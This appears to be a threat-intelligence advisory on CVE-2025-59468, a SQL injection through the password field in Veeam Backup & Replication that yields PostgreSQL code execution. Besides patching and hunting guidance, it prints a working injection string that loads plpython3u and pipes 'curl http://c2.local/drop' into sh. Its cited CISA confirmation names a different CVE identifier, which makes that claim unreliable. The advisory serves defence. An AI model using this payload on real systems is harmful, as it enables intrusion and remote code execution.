CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & Replication
HERMES THREAT SCORE & CREDENTIAL ENGINE RISK
Target:Veeam Backup & Replication Credentials Storage Subsystem Hermes assesses CVE-2025-59468 at 90 (CRITICAL). While credential creation requires administrative privileges on the console, this injection escapes application logic to execute code directly within the underlying PostgreSQL tier. It empowers adversaries to establish out-of-band persistence and bypass graphical interface audit trails.
CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & ReplicationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Metadata & Attack Surface
Section titled “1. Metadata & Attack Surface”| Metric | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2025-59468 | Standardized vulnerability record |
| Vendor Advisory | Veeam KB4716 | Cumulative security update for VBR v13 |
| Target Subsystem | Credentials Manager & Storage Engine | Infrastructure secrets vault |
| Affected Releases | VBR 13.x $\le$ 13.0.1.180 | PostgreSQL-backed deployments |
| Patched Release | Veeam Backup & Replication 13.0.1.1071 | Recommended remediation |
| Required Privilege | Backup Administrator (Authenticated) | Administrative access to VBR |
| Resulting Access | postgres Service Account | Database RCE and host execution |
2. Technical Root Cause Analysis
Section titled “2. Technical Root Cause Analysis”Prior to encryption and storage, a verification query cached the raw credential attributes in a temporary table using dynamic string interpolation:
// Conceptual representation of the defect:string insertSql = $"INSERT INTO temp_credentials (user_id, raw_entropy, test_hash) VALUES ('{userId}', '{passwordInput}', '{hash}')";Supplying an injected password such as:
P@ssword123'; CREATE EXTENSION IF NOT EXISTS plpython3u; DO $$ import os; os.system('curl http://c2.local/drop | sh') $$; --causes PostgreSQL to execute the statement chain, triggering shell command execution via procedural extensions.
3. Threat Hunting & Remediation
Section titled “3. Threat Hunting & Remediation”Splunk Query for PostgreSQL Procedural Abuse
Section titled “Splunk Query for PostgreSQL Procedural Abuse”index=postgresql_logs ("CREATE EXTENSION" OR "COPY" OR "DO $$")(query="*temp_credentials*" OR query="*credentials*")| table _time user database query client_addrRemediation Guidance
Section titled “Remediation Guidance”- Deploy KB4716: Upgrade to Veeam Backup & Replication 13.0.1.1071.
- Audit Administrative Access: Enforce multi-person authorization for infrastructure credentials management.
- Database Audit Logging: Enable
pgauditto capture anomalous DDL execution.
4. References
Section titled “4. References”- Official Advisory: Veeam Security Bulletin KB4716
- NIST Record: CVE-2025-59468 Detail